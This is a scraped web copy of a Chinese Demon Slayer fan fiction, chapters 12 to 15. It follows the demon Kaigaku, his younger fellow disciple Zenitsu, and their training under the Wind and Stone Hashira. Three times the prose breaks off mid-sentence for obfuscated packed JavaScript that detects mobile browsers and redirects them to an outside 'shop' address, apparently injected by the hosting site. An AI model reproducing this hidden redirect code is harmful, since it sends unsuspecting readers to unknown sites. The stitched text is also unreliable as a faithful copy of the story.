我妻善逸又尖叫:“炭治郎!会死!一定会死!” “闭嘴!”狯岳试图把他推开,“不死川先生又没拔刀,死不了!” “但变成废人也不行啊啊啊啊啊!” “放手——他不可能会舍得的嘛!” 正打算再接再厉的不死川实弥:“……” 怒意更盛了呢。 灶门炭治郎则眼睛一亮:“善逸,快带玄弥跑!狯岳先生!请你和我一起联手拦住不死川先生!拜托了!” 我妻善逸和狯岳这对被先后点名的师兄弟,难得露出一模一样的表情:“哈啊?” 我妻善逸抱怨:“笨蛋,怎么直接叫我的名字,你就不能打个暗号吗?!” 狯岳挑起眉毛:“你是在指挥我?!我们很熟吗?!” 但下一刻,我妻善逸脚下一蹬,冲上前,拉过不死川玄弥,转身就跑;狯岳看着即将挨揍的灶门炭治郎,眼角抽了抽,还是选择用自己的胳膊顶上。 ——反正已经被砍过一次了。 狯岳用完好的左手把灶门炭治郎往边上一推,一边盯着不死川实弥的动作,一边集中精神修复骨折的右手。 ——他也想试试看,能不能用拳头揍回来。 12. 第十二章 “放开我!这事和炭治郎、和你们无关,你们会被大哥迁怒的!”不死川玄弥不想就这么跑了,“这是我们兄弟间的事情!” “别开玩笑了,我听得出来,不死川大人是认真的!必须得先跑!起码等他冷静一点再回来!”我妻善逸牵着不死川玄弥拉开距离,“你大哥是怎么回事啊!他是真打算废了你吔,我大哥最讨厌我的时候都没这么想过!” “……我怎么知道、不是,不可能的,他不可能真心这么想,他一定是为了我好,所以才——” “你疯了吧?!”我妻善逸难以置信,“你们俩都是疯子!” “喂,说我可以,不准说我大哥!你也不喜欢有人这么说你大哥吧?!” 我妻善逸:“……” 我妻善逸:“…………” 我妻善逸:“你说得对,非常抱歉!” 如果有人说狯岳坏话,他也会很生气。他不是已经为这事儿和上级队士打过一架了吗。 还因此被狯岳训斥给他添麻烦—— 拜托,他是为了他吔! 想到这里,我妻善逸对不死川玄弥就有了股同病相怜的感觉。 “行了,就到这里,”他停下脚步,“我们就在这个位置,等他们冷静下来吧。” 不死川玄弥咬着大拇指,左右徘徊:“这里?有点太远了,看不到他们的情况,我担心会出事。” “没关系,我听得到。”我妻善逸闭上眼睛,微微侧过头,“现在……呃,我们俩的大哥正在互殴、不是,切磋,呵呵。” 他清了清嗓子,开始转述: “你大哥说,‘狯岳,你的胆子也挺大的嘛,想死的话,我就成全你’。讨厌,不要欺负我大哥啊! “炭治郎想帮忙,被我大哥掀开了,我大哥说,‘这不是指导战。你如果只是挨打,是学不到什么东西的’。可恶,大哥对炭治郎怎么这么温柔!” 不死川玄弥靠着墙角坐下,抱着膝盖:“我、我大哥,其实也是个温柔的人。” 我妻善逸怀疑地看着他:“你当着他的面说这话试试?” “真的!小时候,大哥对我很好很好的。都是我的错,大哥才会变成现在这样……” 说到这里,不死川玄弥的情绪就低落下来,把脸也埋进了膝盖里。 与此同时,另一边,狯岳发挥雷之呼吸的爆发性速度,一把抓住不死川实弥挥拳的手腕:“不死川先生,你太生气了,请冷静一点。” “你懂什么!”不死川实弥弓起腰,一脚踹出,“别以为抓到一两次破绽,就能赢过我!” 狯岳只能放开他的手,后跳闪避。 即使是鬼,能在数秒内修复肌肉和内脏,他也不想挨这一下。很痛的好么。 “不死川先生,其实并不是真的讨厌玄弥吧?”灶门炭治郎在边上叨逼叨,“为什么不正视玄弥的努力呢?” 不死川实弥:“别逼我掉头揍你!” “狯岳先生也是这么认为的吧?”灶门炭治郎没有放弃,“你也觉得,不死川先生其实不舍得打废玄弥,对吧?” “那可不一定。”狯岳翻了个白眼。“我们的风柱大人,大概认为,玄弥与其死在鬼手里,不如被自己伤到退役,平平安安渡过一生。” 被说中的不死川实弥:“……” “等着吧,等玄弥训练不足,在接下来的任务中不小心死掉,他就知道抱着尸体哭了。” 灶门炭治郎:…… 灶门炭治郎:啊,这。 “多嘴多舌!”不死川实弥恼羞成怒,“你还有闲心关心别人?!自己都是鬼,还拖累你师弟做担保!” “这还需要闲心?一看就知道了!”狯岳冷笑,“你不是真心讨厌你弟弟,我才是真心讨厌我师弟!” 多么理直气壮! 好像他说的不是讨厌,而是喜欢一样! 此言一出,连不死川实弥都被震撼,一时间,竟对我妻善逸生出了一丝同情。 灶门炭治郎就更不知道该说什么了。 不死川兄弟也好、善逸和狯岳也罢,这两对兄弟之间的相处模式,都是他完全不能理解的类型。 下一刻,我妻善逸的声音,由远及近: “怎——么——这——样——” 只见一道黄色的闪电劈开夜色,在街道间纵越——为了和狯岳掰扯,他居然用霹雳一闪赶路,用那个狯岳至今没学会的雷之呼吸,一之型,霹雳一闪! 狯岳:啧。 不需要任何超能力,是个人都能看出来,他的心情超级不爽。 “大哥,你是骗我的,对吧?你一定像我喜欢你那样喜欢我,对吧!” 说着,闪现在众人面前的我妻善逸,就猛地向狯岳身上扑去。 狯岳敏捷地避开,用嫌弃地眼神看着我妻善逸: “我为什么要喜欢一个逃避训练的,整天哭哭啼啼的,围着女人转的垃圾?!” “可我都有通过训练啊,最近也一直围着你转!” “不否认哭哭啼啼是吧?” “哭一下怎么了,训练就是很苦啊!” “那就别怪我看不起你。” “我已经很努力了!这些天相处下来,我们的感情不是已经变好了吗?” “不要自欺欺人啊,废物。” “可你的心声听起来明明比以前轻松多了!” “唔,可能是因为,我正在看你笑话?” “有什么好笑的,我要怎么做,你才会认可我?” “重新投胎。” “……你能不能说点好听的?” “我说了你就信?” “你说了我就信!” “不要,光想一想就觉得恶心。” “唉?怎么这样!” 多亏了狯岳和我妻善逸表演的笑话,不死川实弥的怒气条被打断,只感叹自己造了什么孽,要被这么几个神经病纠缠。 冷静下来之后,他的确不打算打废玄弥,而是对他采取了无视的态度。 训练归训练,训练以外,就假装完全看不见这个人。 但对灶门炭治郎、我妻善逸就正相反,属于重点看护,每次动手都恨不得把他们直接打进医务室。 至于狯岳,只要话题和我妻善逸无关,就是不死川实弥比较欣赏的类型: 努力,上进,就事论事,不惹事也不怕事。 总之,是个不怕他的,可以顺利沟通交流的……鬼。 所以,月黑风高的夜里,不死川实弥把他叫到屋顶: “你是鬼。” “……我是鬼。” “你的恢复力我已经见识到了,”不死川实弥皱着眉头打量他,“但你的血鬼术呢?” “……还在摸索。” “不行啊,没有血鬼术的鬼,还是太弱了。” 狯岳:^=_=^。 关你什么事啊! 但他看着不死川实弥的眼睛,忽然间,福至心灵:“没法帮你弟弟拥有强大的血鬼术,真是对不起了哈。” 不死川实弥:-皿-#。 不死川实弥:“你到底要不要练血鬼术?!” 那当然是要啊。 只不过,“虽然你是柱,”狯岳迟疑地问,“但人怎么帮鬼练血鬼术?” 不死川实弥默默亮出了他那把淡绿色的日轮刀。 “……如果你想杀了我,可以直说。” “那你要拒绝训练吗?” “……” “……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105521|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >狯岳叹了一口气,闭上眼睛又睁开: “不。” ……区区血鬼术而已。 狯岳被砍得乱七八糟,仰躺在屋顶上,看着满天星斗,莫名有种晕眩的感觉。 总不能是再生被限制,失血过多吧?! “喂,”不死川实弥用刀鞘戳他的脸,“有感觉了吗?” “……被你这么一戳,感觉没了。” 不死川实弥:“……” 就戳地更用力了:“那我给你戳回来。” “……风柱大人,你能不能别这么幼稚?” “高兴了叫我不死川先生,不高兴了叫我风柱大人,你才幼稚。” ——你不幼稚,你倒是和你弟弟好好说话啊。 但狯岳刚被砍翻,还没再生完,不敢把这话说出口,怕被打。 “喂,”不死川实弥的脑袋伸过来,挡住他的视线,目光炯炯地盯着他:“当鬼……是什么样的感觉?” 狯岳:“……” 狯岳:“我比较特殊,我的感觉恐怕不是惯例。” “说说呗。” “……” “……” 狯岳不太想描述,但不死川实弥很耐心地等,他还以为会挨揍呢。 “因为……特效药的缘故,和当人的时候差不多。但是……即便不饿的时候,也能闻到人肉的味道,知道那是食物。”狯岳识趣地开口,“噬鬼者,只是短暂得到鬼的体质,应该闻不到。你可以放心,你弟弟不会对人有食欲。” “这我知道。我问过蝴蝶了。” “……那你还问我干嘛?!” “我想问的不是噬鬼者,是鬼。”不死川实弥用食指按住他的眉心,不让他乱动。“除了……阳光和食谱之外,还有没有其他的变化?” 狯岳:“……” 狯岳:“…………” 神特么食谱。 “主要就是食谱变化,嗅觉、味觉都发生异变,再也摄入不了一般的食物,连草吃进去都会呕吐。”他垂下眼帘。“可以闻到花香,闻到炊烟……但饭菜的香味,和炭火的糊味变得差不多,一点吸引力都没有。” “其他的感觉,情感,思维方式,都没有变化?” “现在没有。”狯岳顿了顿,“或者,随着时间过去,时间会改变一切。” 不死川实弥沉默片刻,语出惊人: “如果,万不得已,变成鬼才能活下去,”他说,“那玄弥变成鬼也行。” 狯岳:^=_=^。 狯岳:“我又不是无惨,不能把人变成鬼。” “我知道。” “……” “……” “……你是柱。” “所以,我只会在你面前这么说。” “……” “……” 所以,连柱也会觉得,只要亲人还活着,就好吗? 狯岳慢慢消化这个结论,把眼睛闭上。 “还有……” “还有?” “……” “……” “还有什么?” “……” “……” “还有……”他的声音变得微不可闻,“冷。” 好冷啊。 明明只比一般人的低温低了一两度而已,却感觉自己置身于冰天雪地之中。活动并未因此受限,握刀的手也不会因此发抖,但就是,觉得冷。 耳边的风声忽然变大,接着又变小,传来窸窸窣窣的声音。 接着,一件羽织盖在了他身上,挡住了夜晚微凉的空气。 不服气如何,不认可又如何? 这位性格暴躁不近人情的风柱大人,居然有在认真听他说话。 13. 第十三章 结果,直到我妻善逸完成不死川实弥的训练,狯岳还是没能把血鬼术练出来。 不死川实弥:“啧。” 不死川实弥:“不如,你,”他指了指我妻善逸,“和那边那个臭小子,”这是指灶门炭治郎,然后继续无视不死川玄弥,“一起滚去找悲鸣屿训练,别的事情就不要管了。” 我妻善逸立刻表示反对:“我大哥才不是别的事情!什么都不能拆散我们,即使你是风柱也不行!” 闻言,狯岳抱着胳膊,把头转到一边:“啧。” “为什么你的反应和不死川大人一样啊大哥!你们什么时候关系那么好了!” “不死川最近在帮我练血鬼术,”狯岳不耐烦地回答,“你又不是不知道!” “居然已经熟到连敬语都可以省略了!” “这是重点吗?!” “血鬼术的话,悲鸣屿大人也可以帮你练,不是非要不死川大人不可吧!” “也不是只有悲鸣屿,才值得信任吧?” 话音落下,我妻善逸的眼神阴了下来。 “之前就想问了,”他语气一变,抬起手,指指点点:“大哥,你以前,和悲鸣屿大人认识?” 狯岳:“……” 狯岳:“不、不关你的事!” “啊啊,悲鸣屿大人真可怜,”我妻善逸捧着心口,“明明为大哥你做了担保,你却情愿被不死川大人砍成血葫芦都不敢去见他——” 话音未落,狯岳手指一紧,指甲掐进肉里。 “少在那里胡说八道!我又不怕他!” 我妻善逸:明明已经怕到心跳加速了。 就清了清嗓子: “那我们去见悲鸣屿大人。” “去就去!” “抛开不死川大人也没关系?” “本来就没关系,血鬼术在哪里练都一样,”狯岳脱口而出:“只不过他为了玄弥非要试试我的成色而已——” 哦豁。 不死川玄弥的眼睛一下子变得亮晶晶了吔! 然后狯岳才意识到自己说了什么,本能地瞥了不死川实弥一眼。 不死川实弥……不死川实弥他好后悔。 他就不该挑起话题,看吧,居然一不小心被拉下了水! “狯岳……你这混蛋,”不死川实弥恼羞成怒,拳头一挥,“你也赶紧麻溜地给我滚!” 于是狯岳从善如流地滚了,钻进箱子和其他人一起。 我妻善逸一边背着狯岳,一边眼神不善地盯着不死川玄弥:“你以后要吃我大哥?” 不死川玄弥目光闪躲:“其实……已经吃过了。” “哈啊?!” “蝶屋有拿狯岳先生的血样给我试——你那是什么表情!这都是为了战斗!为了杀鬼!” “我都没吃过,你竟然就已经吃过了?!” “我又不是你,连这个都想吃!你想吃倒是问你大哥要啊!” “大哥——” 狯岳:你踏马还真敢要啊! “你是噬鬼者吗你就吃?!”他在箱子里无能狂怒,“别找麻烦,白痴!” “就是。”狐狸附和。“你想要和狯岳搞好关系,就不要老是惹他生气。” “可是我忍不住。” “……” “……” “……” “啥玩意?!”狐狸诧异地问,“你故意的?!” “不是不是,就是,我只是把我想到的说出来而已,”我妻善逸解释,“我想向大哥展示完整的我自己,所以。” 狐狸:“……” 狐狸:“…………” 狐狸:“我虽然喜欢直率的孩子,但是有时候孩子太直率了,也会让人感到困扰呢。” 于是接下来,我妻善逸收敛了一点。 ……只有一点点。 岩柱的道场在深山之中,走着走着我妻善逸就开始发脾气,觉得岩柱的脑袋有问题——这也太不方便了! “还要走多久啊!”他简直抓狂,“为什么岩柱非得住在这么深的山里啊!” “因为在山里,可以更好地锻炼自己。”不死川玄弥回答,“修行要用的材料都放在一块。” “哇,你怎么知道?” “因为玄弥是悲鸣屿先生的继子,对悲鸣屿先生很熟悉。”灶门炭治郎帮忙解释。“对了,玄弥,大概还有多远的路?” “快到了其实。就在前面。” 又走了一会儿,我妻善逸就听到了声音,接着灶门炭治郎也闻到了水的气味。 再走几步,眼前豁然开朗: 正对面是一座巨大的瀑布,数名鬼杀队队士正双手合十,站在瀑布下的岩石上,一边念佛,接受激流的冲刷。戴着野猪头套的嘴平尹之助也在其中,极为显眼。 见状,我妻善逸和灶门炭治郎瞳孔地震。 “啊,悲鸣屿先生!”不死川玄弥转过身,向不知不觉出现在身侧的悲鸣屿行冥行礼:“我回来了!” “欢迎回来。”悲鸣屿行冥点头示意,接着把注意力放到其他人身上:“好久不见,炭治郎。” 灶门炭治郎立刻鞠躬行礼:“是!很高兴见到您,请多关照!” 我妻善逸随即跟上:“悲鸣屿大人,初次见面,我是我妻善逸。我的老师,桑岛慈悟郎,反复叮嘱我,一定要好好谢谢您,感谢您愿意为——” 悲鸣屿行冥打断他的话:“你就是狯岳的师弟。” “……是的。” “那么,狯岳,”悲鸣屿行冥点名,“你也在吧。” 箱子里的狯岳:“……” “现在是大白天,恕我无法现身拜会,悲鸣屿先生。”狯岳在箱子里整理措辞。“柱合会议的时候,非常感谢您——” 然而,悲鸣屿行冥再次打断:“不用谢。” ……不打算让他们把话说完啊,这是。 “我这里的修行很简单,总共有三项。先从淋瀑布开始,然后需要背起三这根圆木,最后是将这块石头推动一町的距离。” 瀑布暂且不论,圆木每一根都有一人粗,石头比人还高! 这些要求也太可怕了! 听完后,我妻善逸的腿一软,跪在了地上,把灶门炭治郎和不死川玄弥吓了一跳。 “人的核心力量很重要,只有腰腿足够坚韧,才能实现精准的攻击和稳固的防御。”悲鸣屿行冥搓了搓手,“据我所知,雷之呼吸,对腰腿的要求相当高。” 我妻善逸重新站起来:“我、我明白了。” “把箱子交给我。”悲鸣屿行冥要求。“等你通过训练,再交还给你。” 我妻善逸:“……” 我妻善逸:“唉?” 他可以听见狯岳的抗拒,也可以听见岩柱的疑虑,两个人都不像做好了准备的样子。 “别担心。”悲鸣屿行冥察觉了他的犹豫,“我好歹,也是狯岳的担保人。” “……那就,”我妻善逸抿了抿唇,“拜托您了。” 狯岳:…… 狯岳:………… 这废物怎么忽然变得这么听话啊喂! 同样是柱,为什么在我妻善逸这里,悲鸣屿说话比不死川好使?! 哦,因为悲鸣屿行冥也是他的监护人,也要对他的行动负责。 可事到如今,他实在不知道该怎么和岩柱相处。 道歉吗? 上次见面的时候,已经不伦不类地表达过一次了。在他不后悔引鬼入寺庙的前提下,再怎么道歉,也显得缺乏诚意。 何况,那么严重的后果摆在那里,道歉有什么用? 胡思乱想间,箱子被搬到房间里,箱门被打开。 没等狯岳自己爬出来,悲鸣屿行冥就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105522|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸出手,把他拎了起来。 狯岳:^=_=^。 “悲鸣屿……先生,”他不知道岩柱想干嘛,“我可以自己走路。” 于是悲鸣屿行冥松开了手。 狯岳轻巧地落在地上,随即调整身姿,长成少年应有的模样。 然后继续被悲鸣屿行冥的阴影完全笼罩。 狯岳:^=_=^。 ……好矮。 不,是悲鸣屿长太高了! 他都已经长这么大了,怎么在这家伙面前还像个小孩子一样啊! 虽然可以用拟态长高,但长高之后,需要重新适应手脚的长度,得不偿失…… 狯岳不停胡思乱想,用以抵御悲鸣屿行冥接下来可能会有的说教——至于是哪方面的说教,他不知道,也猜不出。 这种时候,就非常想要善逸那个废物的听力。 可惜了他没有。老天真是不公平。 如果他有那样的能力,怎么可能落入现在这样的境地。他一定能避开各种险境,风风光光成为鸣柱,和眼前这个大块头平起平坐,而不是像现在这样,不管是生理上还是心理上都矮他一头…… 良久,他才听到悲鸣屿行冥开口: “血鬼术。” “……啊?” “你的血鬼术,开发得怎么样了?” “……在不死川的帮助下,稍微摸到了一点头绪。”狯岳回答。“大约,和雷之呼吸的剑技有所关联。” 不死川实弥砍他的时候是真狠,差点把他脖子砍下来了,用的还是日轮刀! 他砍不死川实弥的时候可不敢这么狠,用的还是拜托隐帮忙找来的逆刃刀。 好在濒死的危机感触动了他体内的鬼血,让他在最后关头放出了一丝雷电,使他有了一种模糊的感觉。 自己……似乎可以把一些东西,透过斩击,传递出去。 “展示出来。”悲鸣屿行冥吩咐。“或许,我能给你一点建议。” 狯岳照做了。 他拔出自己的日轮刀,开始演练雷之呼吸,从二之型开始。 悲鸣屿行冥看是看不见的,但能感知到面前少年的一招一式。 和猜想中的一样,狯岳态度认真,动作精准,基础扎实。练到现在这种水平,一定吃了不少苦。 还在寺庙里的时候,狯岳就是这样,做什么事都很认真。这孩子话不多,连笑容都很少;一言一行目的性很强,对其他人爱搭不理,只愿意听他的话…… 但他还是偷了钱。 按照狐狸的推测,是因为,“寺庙资源匮乏,缺乏安全感。” 所以悲鸣屿行冥曾经问狐狸:“是我的错吗?” “当然不是,你都是岩柱了,自己也不会这么认为吧。”狐狸轻笑。“当然是狯岳的错了。偷东西是不对的。” “……其实,我知道他会偷东西。无父无母的孤儿想要在街头活下去,靠偷东西也是万不得已的事情。” “被你带到寺庙之后,再偷东西就不是万不得已,而是不知足。” “……” “……” “我能听出来,”悲鸣屿行冥若有所思,“你没有责备狯岳的意思。” “因为不知足的心态不是错。”狐狸回答,“将心态变现的手段才分对错。只不过,偷东西这种程度的过错,不应该以死相偿而已。” 其他孩子们把狯岳从寺庙里赶走,未必是想要狯岳去死。 但或多或少会觉得,那样手脚不干净的家伙,就算死了也没关系。 还是太年轻,所以太轻率。 这就是因果。 被赶出去的狯岳遇见了鬼,为了求生出卖寺庙,悲鸣屿行冥的善行招来了恶报。 这也是因果。 其实……都到了这一步。 悲鸣屿行冥也不知道,该拿他怎么办才好。 14. 第十四章 放下过去,放过自己,是一回事。 直面狯岳,和他相处,是另外一回事。 死去的人不会复活,横亘在两人之间的芥蒂不会消失。 虽然嘴上说“生命不是简单的加减法”,心里想的却是“人有亲疏远近”。即便狯岳救了很多人,那些人也不是他当初收养的那些孩子。 可狯岳自己,也是那些孩子们的一员。 悲鸣屿行冥曾听说过一种老鼠。据他人所说,这老鼠毛色黄白,长相可爱,是富贵闲人家养的宠物。而他之所以得以听说,是因为富贵闲人要将这宠物舍去。 “为什么要舍去呢?” “因为主人有一日忘了喂食,这家伙饿极,把其他同笼的老鼠全吃掉了。” 所以感到害怕,所以选择舍弃。 然而,狯岳不是宠物。 悲鸣屿行冥不是为了养宠物,才把孩子们一个接一个带回寺庙的。 “……这里,有种很微妙的感觉。” “什么微妙的感觉?” “就是……不协调。” “废……”话,狯岳把剩余的音节吞进去,“除了指出问题之外,您还有什么具体的建议吗?” 并没有。 悲鸣屿行冥,不是个擅长指导他人的人。 更何况,面前的还不是人,是鬼。 狯岳:^=_=^。 看来,就研究血鬼术这件事,悲鸣屿行冥还真没不死川实弥值得信任。起码不死川实弥除了砍他之外,还偶尔能给出些建设性提议,让他不至于像个无头苍蝇一样瞎蹦哒。 “还是通过战斗的方式来梳理吧。”狯岳叹了一口气。“希望您能手下留情。” 悲鸣屿行冥想了想:“你得自己小心。” 狯岳再次:^=_=^。 悲鸣屿不是那种会借机修理他的人……大概。 这家伙声称,他看不见,用武器说不定会不小心把狯岳真的打死,临时打造普通流星锤也很麻烦,所以只能用带指虎的拳头。 是个合理的说法,狯岳表示接受。 所以也得接受,自己的身体时不时碎在岩柱沙钵大的拳头之下。 踏马的比刀砍更痛啊! 如果这时候有人问他,不死川实弥和悲鸣屿行冥之间的差别是什么? 狯岳:谢邀,类比的话,就是骨折和粉碎性骨折之间的差别吧。 另一边,不死川玄弥问我妻善逸:“狯岳先生和悲鸣屿先生认识?” 我妻善逸:“大概,认识?” “原来你也不知道啊。” 我妻善逸:他不知道的事情多着呢。 他不知道狯岳怎么会和岩柱认识,不知道为什么岩柱原本平和的心声在见到狯岳后变得茫然无措,不知道为什么狯岳本就沉闷的心声在见到岩柱后,忽然开始打雷下雨。 还是暴风雨。 但他们看起来都若无其事,表面功夫都做得很好,好到让没开挂的旁人察觉不到端倪。 像一只内翻的海胆,所有的尖刺,都狠狠扎向了自己。 “……善逸,善逸!”灶门炭治郎摇着他的肩膀,“你没事吧?” “呃,没。”我妻善逸拍了拍自己的脸颊,“就是……有点担心。” 担心到连冲瀑布都感觉不到凶险,只自顾自地想察觉到一件事: 原来,他对狯岳的事情,一点也不了解。 在他被爷爷带上桃山之前,狯岳就已经在那里了。他在上桃山之前,没遇到几件好事,所以上桃山之前的经历对他来说,一点也不重要。是需要被抛弃、被切割、被遗忘的黑历史。 他总以为狯岳也和他一样,桃山才是他们的家,除了桃山之外,哪里都不值得留恋。 但现在看来,狯岳和他不一样。 这家伙和岩柱之间,有一段他无法介入的过往。 “笨蛋纹逸!”嘴平尹之助帮忙把掉到河里的他捞出来,“这么没精神,脖子被瀑布冲断了吗?” “那倒没有。”我妻善逸挣扎着站起,学着旁人一道,趴在晒够了太阳的巨石上。“谢谢,尹之助。” “你怎么无精打采的样子,傻了吗?” “怎么连你也这么说,真的那么明显吗?” 边上的灶门炭治郎点头:明显得不能再明显。 连在蜘蛛山有过一面之缘的村田都凑过来:“你这是打算走沉稳路线吗?和你头发颜色不太搭啊。” 我妻善逸:“……” 我妻善逸:“…………” 神特么不搭! “金发就不能沉稳了吗!”我妻善逸嚷嚷,“我也想做个沉稳的人,可是我太弱了胆子又小,下一次任务很可能就会死掉一定会很快死掉!一想到会死我就实在沉稳不起来。这不是金发的错,是我的错啊!” 村田被吓了一跳:“你别这么说啊!” “到底我要怎么才能沉稳起来呢?被爷爷说了很多次要向大哥学习,可是我学不来啊!我永远做不到像大哥那样,又努力又勤奋还很有天赋只有性格超级差劲,做不到就是做不到,虽然我很想变得像大哥那样!” 灶门炭治郎抬起双手:“你也不必非要变得和狯岳先生一样不可吧?善逸就是善逸啊。” “……也对,大哥不喜欢学人精。”我妻善逸抱头,“他真的太难讨好了!” 灶门炭治郎:→_→。 灶门炭治郎:讨好才能好好相处的话,那这种大哥不要也罢。 而我妻善逸看起来,一副完全不打算放手的样子呢。 “不过,狯岳先生其实没那么难相处吧,”灶门炭治郎竖起一根手指,“他虽然脸臭嘴毒,脾气其实没有很大。在玄弥的事情上,他也帮了大忙呢。” 他当时只是看在善逸的份上赌了一把,能赌赢,怎么说呢…… 其实,也不是很意外。 毕竟狯岳是善逸敬重的大哥,想来人品也不会差到哪里去,所以他才请求他的帮助,并顺利得到了帮助。 “除了对你比较,”灶门炭治郎想来想去,挑了个比较温和的词,“严厉,之外。” 我妻善逸:⊙皿⊙。 “是啊,炭治郎。”他双手搭上好兄弟的肩膀,用力摇晃:“为什么大哥对你就一点都不严厉啊!比起我他更喜欢你吗!虽然我也喜欢你,但我不能接受大哥这么偏心!” 灶门炭治郎:这是你大哥的问题,不是他的问题啊喂! 就在两人的友情经受考验之时,村田举手:“那个,你们说的狯岳,是那个雷之呼吸的狯岳吗?” 话音落下,我妻善逸停止摇晃灶门炭治郎,灶门炭治郎点头:“是的,村田先生也认识狯岳先生?” “有过几次合作。”村田摸了摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105523|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后脑勺,“那家伙虽然态度冷淡,但剑技很强。很有名的。” 我妻善逸的表情看上去跟肚子痛似的:“眼高于顶、看不起人的名声?” “啊哈哈,我个人觉得,他总皱眉,表情不太好看,所以总会引起旁人误会。实际上,他并没有针对谁。”村田抬起双手,“他只是性格有些急躁,有的时候会用力过猛……” “对哦,急躁,”灶门炭治郎一拳锤向掌心,“是这样,狯岳先生总有一股焦虑不安的味道。” “是因为压力大吧,毕竟这么快升到了甲级,差一点就能成柱了。反正他在前辈面前还挺老实的,即使是我这么弱的前辈。” “啊,不死川先生也这么说过……” 我妻善逸:^=_=^。 我妻善逸:“好了你们不用再重复大哥只是看我不顺眼这件事情了。” 灶门炭治郎&村田:啊哈哈。 “可这也意味着,你在狯岳先生那里是特别的吧?”灶门炭治郎安慰道,“说不定,他和不死川先生一样,是个嘴硬心软的人。” 我妻善逸:“我也希望,呵呵。” 他早就从狯岳的心声中明白一件事: 这家伙是真心讨厌他。 打从第一次见面,他就知道,和爷爷不同,狯岳一点也不欢迎他。 听到那样尖锐的心声,他当时就想转身逃走,但他不能,爷爷帮他还了债,他欠了爷爷很多钱,无法就这样一走了之…… 而且,说不定,他真的像爷爷说得那样,有学习雷之呼吸的天赋呢? 他不想让爷爷失望。 说不定,他还能用出色的表现让狯岳改观,得到他的认可,再加上爷爷,三个人一起,成为和和美美的一家人。 于是,狯岳也成了他对未来愿景的一部分。 可惜,雷之呼吸,不是简单易学的技巧;狯岳,也不是能简单改变看法的人。 直到努力得不到回报,被不见成效的训练逼到生不如死,他才放弃幻想,回避训练,试图从桃山一次又一次逃走。 而在被爷爷一次又一次抓回来之后,狯岳就更加、更加讨厌他了。 这也是没办法的事情。 平心而论,他也不喜欢胆怯、软弱、自卑、容易退缩、一厢情愿到总是被人骗的自己。 他喜欢狯岳那样的人,人聪明长得也帅,努力学习勤奋训练一往无前,仿佛什么都能做到,也几乎什么都做到了。 除了那莫名其妙的一之型。 又偏偏,让他这个本该一无是处的废物,独独学会了一之型。 天赋这玩意,真是不讲道理。 狯岳看不起他,觉得整天哭哭啼啼遇事逃避的他不配和自己相提并论。可老天保佑,他仍然学会了狯岳都学不会的东西。 上天为什么要狯岳残缺? 填补这残缺的,为什么又是他这种人? 不可能得到解答的狯岳选择拒绝和他绑在一起。 而他,他能理解为什么狯岳会对此感到愤怒,却不能理解,为什么狯岳无论如何,都不肯向现实妥协。 只要他们两个人合在一起,就是完整的雷之呼吸。像那些队士们议论的一样,他们本该是天生一对,互相弥补,互相支持。这就是缘分,这就是命运,冥冥中的羁绊让他们此生注定紧密相连。 可狯岳就是,不肯妥协。 15. 第十五章 我妻善逸知道狯岳是个认真执着的人——这也是狯岳的魅力所在。 但在拒绝他这件事情上也如此认真执着,就实在很伤他的心。 他有时候会想,如果换一个人,换成……换成炭治郎,尹之助,他们能和狯岳好好相处吗? 考虑过后,他得出结论:大约是可以的吧。 当然,狯岳最开始还是会讨厌他们,但不至于像讨厌他这样讨厌那两个人。 看看炭治郎就知道了,即便炭治郎得罪过狯岳,狯岳依然能和他和平相处。何况,炭治郎比他讨喜多了,性格温柔善良责任感很强,训练还非常努力从不叫苦叫累,即便狯岳在心里讨厌他的存在,也依然会被正直坦率的他打动吧。 还有尹之助,这只野猪……狯岳一定会说服自己,不要和野猪计较,因为没有意义。他就是这么说服自己原谅没有常识总惹麻烦的尹之助的。何况,尹之助这样完全没心机的家伙,相处起来非常轻松,即使是狯岳也会觉得轻松的吧。 更别说其他人,甚至……村田。那也是个善解人意的老好人。 只有他不行。 只有他。 “……善逸,你也不要着急,”灶门炭治郎给他出主意,“你和狯岳先生说话之前,先理清思绪,不要想到什么就说什么。控制一下音量,放慢一点速度,大约他就能好好听你说话了。” 我妻善逸无奈地看了他一眼:“那样,他会无视我的。” “呃……给他送礼?” “他会当着我的面扔掉。” “……” “……” “我都试过了!所以,没有爷爷,没有你们在场的情况下,我都不敢和他说话的啊!”我妻善逸抱着脑袋,“他是真的、真的很难搞!” 灶门炭治郎:“……” 灶门炭治郎:“那就放弃吧。” 明明我妻善逸是个很容易放弃的人。 但是,“不要!绝对不要!” “……有的人就是天生性格不合,没必要非得凑在一起,相安无事不就很好——” 